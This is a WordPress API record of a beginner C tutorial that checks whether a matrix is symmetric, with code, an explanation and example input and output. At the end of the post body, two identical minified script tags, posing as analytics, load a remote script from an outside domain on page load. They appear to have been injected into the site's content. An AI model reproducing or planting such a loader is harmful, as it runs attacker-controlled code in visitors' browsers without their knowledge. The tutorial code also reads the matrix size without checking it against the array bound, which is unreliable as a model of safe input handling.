{"id":1044,"date":"2024-10-21T15:00:29","date_gmt":"2024-10-21T09:30:29","guid":{"rendered":"https:\/\/codexplained.in\/?p=1044"},"modified":"2025-11-24T15:29:39","modified_gmt":"2025-11-24T09:59:39","slug":"check-symmetric-matrix","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=1044","title":{"rendered":"Check Symmetric Matrix"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Introduction<\/h3>\n\n\n\n<p>A symmetric matrix is a square matrix that is equal to its transpose. In other words, for a matrix AAA to be symmetric, it must satisfy the condition A[i][j]=A[j][i]A[i][j] = A[j][i]A[i][j]=A[j][i] for all elements. Symmetric matrices are important in various fields, including linear algebra, physics, and computer science, as they often simplify computations and have special properties.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\n#define MAX 10  \/\/ Define the maximum size of the matrix\n\nvoid inputMatrix(int matrix&#x5B;MAX]&#x5B;MAX], int size) {\n    printf(&quot;Enter elements of the matrix (%d x %d):\\n&quot;, size, size);\n    for (int i = 0; i &lt; size; i++) {\n        for (int j = 0; j &lt; size; j++) {\n            scanf(&quot;%d&quot;, &amp;matrix&#x5B;i]&#x5B;j]);\n        }\n    }\n}\n\nint isSymmetric(int matrix&#x5B;MAX]&#x5B;MAX], int size) {\n    for (int i = 0; i &lt; size; i++) {\n        for (int j = 0; j &lt; size; j++) {\n            if (matrix&#x5B;i]&#x5B;j] != matrix&#x5B;j]&#x5B;i]) {\n                return 0;  \/\/ Not symmetric\n            }\n        }\n    }\n    return 1;  \/\/ Symmetric\n}\n\nvoid printMatrix(int matrix&#x5B;MAX]&#x5B;MAX], int size) {\n    printf(&quot;Matrix (%d x %d):\\n&quot;, size, size);\n    for (int i = 0; i &lt; size; i++) {\n        for (int j = 0; j &lt; size; j++) {\n            printf(&quot;%d &quot;, matrix&#x5B;i]&#x5B;j]);\n        }\n        printf(&quot;\\n&quot;);\n    }\n}\n\nint main() {\n    int matrix&#x5B;MAX]&#x5B;MAX];\n    int size;\n\n    printf(&quot;Enter the size of the matrix: &quot;);\n    scanf(&quot;%d&quot;, &amp;size);\n\n    inputMatrix(matrix, size);\n    \n    printf(&quot;Original Matrix:\\n&quot;);\n    printMatrix(matrix, size);\n    \n    if (isSymmetric(matrix, size)) {\n        printf(&quot;The matrix is symmetric.\\n&quot;);\n    } else {\n        printf(&quot;The matrix is not symmetric.\\n&quot;);\n    }\n\n    return 0;\n}\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Includes and Defines<\/strong>: The program includes the <code>stdio.h<\/code> header for input\/output functions and defines a constant <code>MAX<\/code> for the maximum size of the matrix.<\/li>\n\n\n\n<li><strong>Input Function<\/strong>: The <code>inputMatrix<\/code> function prompts the user to enter the elements of a square matrix (of size <code>size x size<\/code>).<\/li>\n\n\n\n<li><strong>Symmetry Check Function<\/strong>: The <code>isSymmetric<\/code> function checks if the matrix is symmetric. It iterates through the elements, comparing A[i][j]A[i][j]A[i][j] with A[j][i]A[j][i]A[j][i]. If any pair does not match, it returns <code>0<\/code> (not symmetric). If all pairs match, it returns <code>1<\/code> (symmetric).<\/li>\n\n\n\n<li><strong>Print Function<\/strong>: The <code>printMatrix<\/code> function displays the matrix in a formatted way.<\/li>\n\n\n\n<li><strong>Main Function<\/strong>: In <code>main<\/code>, the program:\n<ul class=\"wp-block-list\">\n<li>Declares a matrix.<\/li>\n\n\n\n<li>Asks for the size of the matrix.<\/li>\n\n\n\n<li>Calls the input, print, and symmetry check functions to display the results.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Input<\/h3>\n\n\n\n<p>The user is prompted to enter the size of the matrix, followed by the matrix elements. Example input:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nEnter the size of the matrix: 3\nEnter elements of the matrix (3 x 3):\n1 2 3\n2 4 5\n3 5 6\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Output<\/h3>\n\n\n\n<p>The program will output whether the matrix is symmetric. For the example input, the output will be:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\nOriginal Matrix:\n1 2 3 \n2 4 5 \n3 5 6 \n\nThe matrix is symmetric.\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>This C program effectively demonstrates how to check if a matrix is symmetric using a straightforward approach. Understanding symmetric matrices is essential in various applications, including solving systems of equations and optimization problems. The code can be easily adapted for larger matrices or different data types, providing a solid foundation for further exploration of matrix properties in C.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Introduction A symmetric matrix is a square matrix that is equal to its transpose. In other words, for a matrix AAA to be symmetric, it must satisfy the condition A[i][j]=A[j][i]A[i][j] = A[j][i]A[i][j]=A[j][i] for all elements. Symmetric matrices are important in various fields, including linear algebra, physics, and computer science, as they often simplify computations and [&hellip;]<\/p>\n","protected":false},"author":47,"featured_media":1110,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-1044","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1044","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/47"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1044"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1044\/revisions"}],"predecessor-version":[{"id":1377,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/1044\/revisions\/1377"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/1110"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1044"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1044"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1044"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}